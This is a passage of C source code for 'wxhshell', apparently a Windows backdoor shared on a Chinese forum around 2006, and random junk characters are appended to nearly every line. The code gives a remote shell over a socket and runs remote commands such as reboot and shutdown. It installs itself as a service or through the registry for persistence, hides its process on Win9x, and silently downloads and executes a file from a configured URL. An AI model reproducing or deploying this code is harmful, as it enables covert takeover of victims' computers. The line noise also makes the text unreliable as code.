      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2 <y!3OeN  
    break; oEGe y8?  
  } gR )xw)!  
  // 安装 ~kj1L@gy   
  case 'i': { W4Tuc:X5  
    if(Install()) ]SA]{id+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pA&CBXio  
    else 6p=AzojoB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p;,Cvw{.;%  
    break; Zx@/5!_n.  
    } MDM/~Qpj_  
  // 卸载 Z ^zUb  
  case 'r': { 9~J  
    if(Uninstall()) 3){ /u$iH.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xb@lKX5Re  
    else "u@)   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 82O#Fe q  
    break; 0B7cpw>_J  
    } .BuXg<`  
  // 显示 wxhshell 所在路径 pdUrVmW"'  
  case 'p': { FZ)_WaqGf  
    char svExeFile[MAX_PATH]; <DxUqCE  
    strcpy(svExeFile,"\n\r"); 2^'|[*$k1@  
      strcat(svExeFile,ExeFile); .v?Ir)  
        send(wsh,svExeFile,strlen(svExeFile),0); \#?n'qyj  
    break; !yI , ~`Z  
    } NifzZEX  
  // 重启 ]>M{Q n*  
  case 'b': { tsaf|xe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^rO3B?_  
    if(Boot(REBOOT)) 0p YO-@E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2m7Z:b  
    else { _BHR ?I[w  
    closesocket(wsh); 16Ym*kWIps  
    ExitThread(0); V<A_c^unO  
    } EdbL AagI6  
    break; 4=^_ 4o2  
    } zGjf7VV2a  
  // 关机 3\j{*f$J  
  case 'd': { k GR5!8$z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >|1.Z'r/  
    if(Boot(SHUTDOWN)) 0.7* 2s-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *.nC'$-2r  
    else { c((^l&  
    closesocket(wsh); Vj(}'h-c\  
    ExitThread(0); !*JE%t  
    } d}#G~O+y3v  
    break; @62QDlt;  
    } _?$P?  
  // 获取shell Q}.zE+  
  case 's': { f4eLnY  
    CmdShell(wsh); gB BS}HF  
    closesocket(wsh); DlIy'@ .  
    ExitThread(0); Pp.qDkT  
    break; R-CFF  
  } "N\>v#>C  
  // 退出 }g6:9%ZMu  
  case 'x': { A& u"NgJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CvDy;'{y1  
    CloseIt(wsh); `3GC}u>}  
    break; ~`-z"zM:p  
    } g|L" |Q  
  // 离开 J}a 8N.S  
  case 'q': { 46^LPC"x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s2s}5b3  
    closesocket(wsh); QhV!%}7  
    WSACleanup(); zfAHE {c  
    exit(1); 0`y;[qAG[  
    break; yf5X=f.%@  
        } )Nv$ SH  
  } f~nAJ+m=  
  } doM}vh)6  
,I# X[^/  
  // 提示信息 ~Mu=,OT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Byq4PX%B  
} Pt<lHfd  
  } l{OU \  
c}(fmJB&(  
  return; ,2hZtJ<A  
} mNUc g{ +/  
K& / rzs-  
// shell模块句柄 U)mg]o-VE  
int CmdShell(SOCKET sock) =<~/U?  
{ `}uOl C]I  
STARTUPINFO si; 3e~X`K1Q<  
ZeroMemory(&si,sizeof(si)); ra#s!m1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P5{|U"Y_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~b L^&o(W  
PROCESS_INFORMATION ProcessInfo; *oR`l32O0z  
char cmdline[]="cmd"; 7I.7%m,g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M`{x*qR  
  return 0; p%Zx<=f-_  
} I[b@U<\  
TK"!z(p  
// 自身启动模式 K5(:UIWx  
int StartFromService(void) h|z{ (v  
{ CYlZ<W'  
typedef struct GMLDmTV  
{ XHq8p[F  
  DWORD ExitStatus; @H'pvFLK?  
  DWORD PebBaseAddress; pMJK?- )  
  DWORD AffinityMask; OG}auM4  
  DWORD BasePriority; cQj{[Wt4  
  ULONG UniqueProcessId; G}.t!"  
  ULONG InheritedFromUniqueProcessId; <3]Qrjl ,b  
}   PROCESS_BASIC_INFORMATION; &j2fh!\4  
^ 'jJ~U  
PROCNTQSIP NtQueryInformationProcess; b.Wf*I?  
SVvR]T&_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?9<byEO%M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [p3)C<;ZC  
C/nzlp~  
  HANDLE             hProcess; bvM\Qzc!<3  
  PROCESS_BASIC_INFORMATION pbi; xxnMvL;  
?R2`RvQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); []e*Io&[  
  if(NULL == hInst ) return 0; G4Y]fzC  
b.jxkx\nt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,XmTKO c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NNUm=g^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z;x1p)(xt  
Yjo$^q  
  if (!NtQueryInformationProcess) return 0; MguH)r` uT  
+f)Nf) \q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rw*#ta O  
  if(!hProcess) return 0; w`~j(G4N  
x@EEMO1_"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G[V?# 7.  
\qPgQsy4  
  CloseHandle(hProcess); ?kvc`7>  
v&:R{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,~@0IKIA Q  
if(hProcess==NULL) return 0; lqC a%V  
c" mRMDg%  
HMODULE hMod; J?Kgev%  
char procName[255]; !?Tu pi  
unsigned long cbNeeded; @=jcdn!\M  
LGb.>O^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ebF},Q(48  
k]*DuVCOX  
  CloseHandle(hProcess); #]`ejr:2O  
.F=15A  
if(strstr(procName,"services")) return 1; // 以服务启动 8.vPh  
GvQ|+vC  
  return 0; // 注册表启动 'WH@Zk/l  
} M5OH-'  
w+vYD2 a  
// 主模块 d7o~$4h|  
int StartWxhshell(LPSTR lpCmdLine) kTQ`$V(>&  
{ 'ad|@Bh  
  SOCKET wsl; m9^ ? p  
BOOL val=TRUE;  5" U8|  
  int port=0; ^0t81,`  
  struct sockaddr_in door; E.Hw|y0_(|  
Q}!U4!{i|p  
  if(wscfg.ws_autoins) Install(); -Kt36:|  
_tE$a3`  
port=atoi(lpCmdLine); mea]m)P  
Q$iGpTL  
if(port<=0) port=wscfg.ws_port; ku,Y-  
o5+N_5OE}E  
  WSADATA data; Hl&]r'bK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _96hw8  
o{\@7'G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `nM Huv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [!>2[bbl  
  door.sin_family = AF_INET; 1{+Ni{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [.P~-6~  
  door.sin_port = htons(port);  /A|cO   
tq9t(0EL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [|~X~AO%  
closesocket(wsl); U[~BW[[@f  
return 1; 6 USet`#  
} BzH7E[R49  
9s)YPlDz  
  if(listen(wsl,2) == INVALID_SOCKET) { .a:Oj3=0  
closesocket(wsl); B\bIMjXV  
return 1; >VqMSe_v  
} <PkDfMx2  
  Wxhshell(wsl); )_EQU8D4ug  
  WSACleanup(); 1p,G8v+B  
|::kC3=  
return 0; EAFKf*K=  
w&;\}IS  
} Ov%9S/d  
/B!"\0G/,  
// 以NT服务方式启动 ja2LQe@ Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K)GC&%_$O  
{ d; @Kz^  
DWORD   status = 0; ~I/7{B|yX  
  DWORD   specificError = 0xfffffff; B dm<<<  
/>\.zuAr&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J8a4.prqI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z.m.Uyz{7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HkxFDU-K  
  serviceStatus.dwWin32ExitCode     = 0; ;,*U,eV  
  serviceStatus.dwServiceSpecificExitCode = 0; B!< {s'  
  serviceStatus.dwCheckPoint       = 0; -'k<2"z  
  serviceStatus.dwWaitHint       = 0; 451C2 %y  
L~ V 63K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DC*|tHl  
  if (hServiceStatusHandle==0) return; h bj^!0m  
{NE;z<,*:  
status = GetLastError(); /eR@&!D '  
  if (status!=NO_ERROR) ~C=`yj  
{ 8%7H F:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n<yV]i$  
    serviceStatus.dwCheckPoint       = 0; TO[5h Y\  
    serviceStatus.dwWaitHint       = 0; wSIt"g,%  
    serviceStatus.dwWin32ExitCode     = status; 3v:RLnB  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]-{T-*h:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -$WiB  
    return; txr!3-Ne'!  
  } \@OKB<ra  
)'%L#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a|?CC/Ra  
  serviceStatus.dwCheckPoint       = 0; 6?}8z q[  
  serviceStatus.dwWaitHint       = 0; iG!MIt*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7+T\  
} 2~h)'n7Mw  
x)#k$ QU  
// 处理NT服务事件,比如:启动、停止 }9P)<[>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U$VTk  
{ 9 J5Z'd_  
switch(fdwControl) f{ S)wE>;  
{ 1t!Mg{&e[x  
case SERVICE_CONTROL_STOP: 0; V{yh  
  serviceStatus.dwWin32ExitCode = 0; BY,%+>bc)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1[3"|  
  serviceStatus.dwCheckPoint   = 0; !^q<)!9<EO  
  serviceStatus.dwWaitHint     = 0; zZ-e2)1v  
  { -lSm:O@'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9'//_ A,  
  } ZWf{!L,@Z  
  return; .(9IAAwKn  
case SERVICE_CONTROL_PAUSE: e%'9oAz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cx_"{`+e  
  break; tvRa.3  
case SERVICE_CONTROL_CONTINUE: 0e vxRcrzz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kt}dTpVFr  
  break; pJ_Z[}d)c  
case SERVICE_CONTROL_INTERROGATE: 4B]8Mp~\aL  
  break; #C%<g:F8  
}; zCvR/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m/Yi;>I(  
} E C7f  
WHAEB1c#Q  
// 标准应用程序主函数 7\{<AM?*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uX}M0W  
{ by6E "7%  
`5e#9@/e  
// 获取操作系统版本 NqqLRgMOR'  
OsIsNt=GetOsVer(); z8z U3?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wm2Q(l*HH  
(nda!^f_s  
  // 从命令行安装 jIdhmd* $z  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,PN>,hFL  
=t)eT0  
  // 下载执行文件 !JYDg  
if(wscfg.ws_downexe) { [U3z*m>e;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qd{|"(9B  
  WinExec(wscfg.ws_filenam,SW_HIDE); &Vgjd>  
} T/ S-}|fhQ  
,u]kZ]  
if(!OsIsNt) { J_P2%b=C  
// 如果时win9x,隐藏进程并且设置为注册表启动 4TR:bQZs  
HideProc(); XTW/3pB  
StartWxhshell(lpCmdLine); y'pG'"U]_  
} U?|s/U  
else (Z`Y   
  if(StartFromService()) N;[w`d'#  
  // 以服务方式启动 M5)6|T  
  StartServiceCtrlDispatcher(DispatchTable); =:a 3cr~  
else pm)A*][s  
  // 普通方式启动 yDd&*;9%Qg  
  StartWxhshell(lpCmdLine); 8KoPaq   
 KQW  
return 0; iv;;GW{2  
}
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只看该作者 1 发表于: 2006-10-10
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